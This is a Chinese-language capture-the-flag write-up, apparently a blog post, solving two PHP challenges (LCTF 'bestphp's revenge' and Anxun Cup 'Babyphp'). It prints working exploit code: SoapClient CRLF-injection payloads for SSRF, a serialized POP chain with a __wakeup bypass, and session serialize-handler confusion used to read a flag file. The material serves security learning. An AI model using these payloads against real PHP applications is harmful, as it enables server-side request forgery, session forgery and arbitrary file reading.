• bestphp‘s revenge/ 安洵杯Babyphp(phpsession题目)


    目录

    [LCTF]bestphp‘s revenge

    一.SoapClient

    二.CRLF Injection漏洞

    简单来说就是,“回车+换行”(\r\n)的简称。

    三、call_user_func

    四、PHPsession反序列化

    安洵杯Babyphp

    第一步

    第二步

    第三步

    最后

    [LCTF]bestphp‘s revenge

    一.SoapClient

    SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andintegration))之一:WSDL用来描述如何访问具体的接口,UDDI用来管理,分发,查询webService,SOAP(简单对象访问协议)是链接活或web服务和客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

    SoapClient类可以创建soap数据报文,与wsdl接口进行交互

    1. $a = new SoapClient(null,array(location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1'));
    2. $b = serialize($a);
    3. echo $b;
    4. $c = unserialize($b);
    5. $c->a();

    SoapClient中第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。

    重点:可以利用SoapClient类的_call(当调用对象中不存在的方法会自动调用此方法)来进行SSRF

    二.CRLF Injection漏洞

    简单来说就是,“回车+换行”(\r\n)的简称。

    http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。

    $target = "http://localhost:2333";
    $options = array(
        "location" => $target,
        "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
        "uri" => "demo"
    );
    $attack = new SoapClient(null,$options);
    $payload = serialize($attack);
    unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
    ?>

    得到:

    POST / HTTP/1.1

    Host: localhost :2333

    Connection: Keep-Alive

    User -Agent: mochazz

    Cookie: PHPSESSID= 123123
    显而易见

    三、call_user_func

    call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。

    先传入extract(),将$b覆盖成回调函数,这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

    四、PHPsession反序列化

    session.save_handler   session保存形式。默认为files

    session.save_path        session保存路径。

    session.serialize_handler   session序列化存储所用处理器。默认为php.

    session中有三种序列化处理器处理session的情况

    1. session_start();
    2. $_SESSION['name']='mochazz';
    1. 当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
    2. 当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
    3. 当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

    使用不同引擎就会发生漏洞,通常是先使用php_serialize进行序列化,然后php默认引擎进行反序列化,这是因为php引擎反序列化时,|被当做分隔符

    例如

    php_serialize引擎    a:1:{s:4:”name”;s:4:”|username”;}

    php   就会反序列化username ,前面是键名,后面是键值

    所以我们只需要传入$_SESSION[‘name’] = |序列化内容

    分析题目:

    1. highlight_file(__FILE__);
    2. $b = 'implode';
    3. call_user_func($_GET['f'], $_POST); //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
    4. session_start();
    5. if (isset($_GET['name'])) {
    6. $_SESSION['name'] = $_GET['name'];
    7. } //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
    8. var_dump($_SESSION);
    9. $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
    10. //reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
    11. call_user_func($b, $a);
    12. ?>
    13. array(0) { }
    14. //flag.php (扫目录扫到的)
    15. only localhost can get flag!session_start();
    16. echo 'only localhost can get flag!';
    17. $flag = 'LCTF{*************************}';
    18. if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    19. $_SESSION['flag'] = $flag;
    20. }
    21. only localhost can get flag!

    call_user_func($_GET['f'], $_POST); 首先第一步我们需要先换session 序列化的引擎,为php_serialize

    分析下代码,flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

    第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session,然后序列化name的值

    1. //$url = "http://127.0.0.1/flag.php";
    2. //$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
    3. //$a = serialize($b);
    4. //$a = str_replace('^^', "\r\n", $a);
    5. //echo "|" . urlencode($a);
    6. //
    7. $target = 'http://127.0.0.1/flag.php';
    8. $b = new SoapClient(null, array('location' => $target,
    9. 'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    10. 'uri' => "http://127.0.0.1/"));
    11. $se = serialize($b);
    12. echo "|" . urlencode($se);

    得到 

    |O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

     这里实现的其实就是更换php_serialize,然后序列化存入name

    第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

    用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

    $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');前面就是SoapClient值了

    最后把PHPSESSID换成,我们一开始代码中的123456即可 

     学完以后,收获太多了。

    参考文章:bestphp's revenge[详解] - NPFS - 博客园 (cnblogs.com)

    安洵杯Babyphp

    这道题的原理和上面这道题一样

    本来想直接复现的可是没环境了,只能看别人的wp推一下

    1. index.php
    2. //something in flag.php
    3. class A
    4. {
    5. public $a;
    6. public $b;
    7. public function __wakeup()
    8. {
    9. $this->a = "babyhacker";
    10. }
    11. public function __invoke()
    12. {
    13. if (isset($this->a) && $this->a == md5($this->a)) {
    14. $this->b->uwant();
    15. }
    16. }
    17. }
    18. class B
    19. {
    20. public $a;
    21. public $b;
    22. public $k;
    23. function __destruct()
    24. {
    25. $this->b = $this->k;
    26. die($this->a);
    27. }
    28. }
    29. class C
    30. {
    31. public $a;
    32. public $c;
    33. public function __toString()
    34. {
    35. $cc = $this->c;
    36. return $cc();
    37. }
    38. public function uwant()
    39. {
    40. if ($this->a == "phpinfo") {
    41. phpinfo();
    42. } else {
    43. call_user_func(array(reset($_SESSION), $this->a));
    44. }
    45. }
    46. }
    47. if (isset($_GET['d0g3'])) {
    48. ini_set($_GET['baby'], $_GET['d0g3']);
    49. session_start();
    50. $_SESSION['sess'] = $_POST['sess'];
    51. }
    52. else{
    53. session_start();
    54. if (isset($_POST["pop"])) {
    55. unserialize($_POST["pop"]);
    56. }
    57. }
    58. var_dump($_SESSION);
    59. highlight_file(__FILE__);
    60. flag.php
    61. session_start();
    62. highlight_file(__FILE__);
    63. //flag在根目录下
    64. if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    65. $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    66. $_SESSION["F1AG"]= $f1ag;
    67. }else{
    68. echo "only localhost!!";
    69. }

    首先有两个文件,index.php和flag.php

    先构造pop链比较简单

    B::__destruct()->C::__toString()->A::__invoke()->C::uwant()

    md5那个,随便找个0e开头的就可以了,

    1. //something in flag.php
    2. class A
    3. {
    4. public $a = '0e215962017';
    5. public $b;
    6. public function __invoke()
    7. {
    8. if (isset($this->a) && $this->a == md5($this->a)) {
    9. $this->b->uwant();
    10. }
    11. }
    12. }
    13. class B
    14. {
    15. public $a;
    16. public $b;
    17. public $k;
    18. function __destruct()
    19. {
    20. $this->b = $this->k;
    21. die($this->a);
    22. }
    23. }
    24. class C
    25. {
    26. public $a ;
    27. public $c;
    28. public function __toString()
    29. {
    30. $cc = $this->c;
    31. return $cc();
    32. }
    33. public function uwant()
    34. {
    35. if ($this->a == "phpinfo") {
    36. phpinfo();
    37. } else {
    38. call_user_func(array(reset($_SESSION), $this->a));
    39. }
    40. }
    41. }
    42. session_start();
    43. $_SESSION['sess'] = 'SoapClient';
    44. $first = new B();
    45. $first->a = new C();
    46. $first->a->c = new A();
    47. $first->a->c->b = new C();
    48. $first->a->c->b->a = '11111';
    49. print((serialize($first)));
    50. //var_dump($_SESSION);

    然后需要绕过A类中的wakeup   "A":3  本来是2成功绕过

    O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
    

     $f1ag=implode(array(new $_GET['a']($_GET['b'])));

    看到new就会想到新生类,

    1. public function uwant()
    2. {
    3. if ($this->a == "phpinfo") {
    4. phpinfo();
    5. } else {
    6. call_user_func(array(reset($_SESSION), $this->a));
    7. //这里肯定是 SoapClient类和随便一个方法,a可以是任意值为了调用call方法
    8. }
    9. }
    10. }
    11. if (isset($_GET['d0g3'])) {
    12. ini_set($_GET['baby'], $_GET['d0g3']);
    13. //这里应该是改变phpsession的序列化引擎,?baby=session.serialize_handler&d0g3=php_serialize
    14. session_start();
    15. $_SESSION['sess'] = $_POST['sess'];
    16. //这里猜测是sess=SoapClient类
    17. }
    18. else{
    19. session_start();
    20. if (isset($_POST["pop"])) {
    21. unserialize($_POST["pop"]);
    22. }
    23. }
    24. var_dump($_SESSION);
    25. highlight_file(__FILE__);
    26. flag.php
    27. session_start();
    28. highlight_file(__FILE__);
    29. //flag在根目录下
    30. if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    31. $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    32. //这里看到了new 想到了原生类,implode实现的是链接的作用,不然原生类不起作用
    33. $_SESSION["F1AG"]= $f1ag; //所以$f1ag中存在的应该是执行原生类的结果
    34. }else{
    35. echo "only localhost!!";
    36. }

     不加implode的效果就是Array一个数组名,

    第一步

    先生成一个php序列化的代码

    1. $a = new SoapClient(null,
    2. array(
    3. 'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",
    4. 'uri' => 'bbb',
    5. // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
    6. 'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
    7. )
    8. );
    9. $b = serialize($a);
    10. echo urlencode($b);
    11. ?>

    上传sess=序列化,?baby=session.serialize_handler&d0g3=php_serialize 然后更换引擎为php_serialize

    第二步

    传入sess=SoapClient,为了第三步激活反序列化做准备

    第三步

    直接用call_user_func激活soap类,通过flag.php将flag写入session

    这里是因为call_user_func,在uwant方法中,所以需要反序列化才可以运用到

    最后

    改变phpsessionid为我们编写代码的那个值就可以获得flag

    大概思路是这样,等题目上平台,再复现

    结论:

    其实就是利用了phpsession序列化,不同引擎之间的漏洞,用php_serialize-》然后换成默认的php引擎,|运用序列化获得flag,用到了SoapClient中的call魔术方法。

    参考链接第五届"安洵杯”网络安全挑战赛WriteUp By F61d

  • 相关阅读:
    《无限可能-快速唤醒你的学习脑》阅读笔记
    澳洲猫罐头的表现如何呢?真正好的顶尖猫罐头大揭秘
    [Linux] TCP协议介绍(1): TCP协议 数据格式、可靠性的控制、标记位... 简单介绍
    tf.queue
    智慧安防解决方案-最新全套文件
    Java中如何调用静态方法及非静态方法呢?
    python将dataframe按需绘制折线图、柱状图、双坐标图
    多路转接IO模型(select概念及使用方法)
    LINUX中命令
    一文掌握设计模式(定义+UML类图+应用)doing...
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/128110981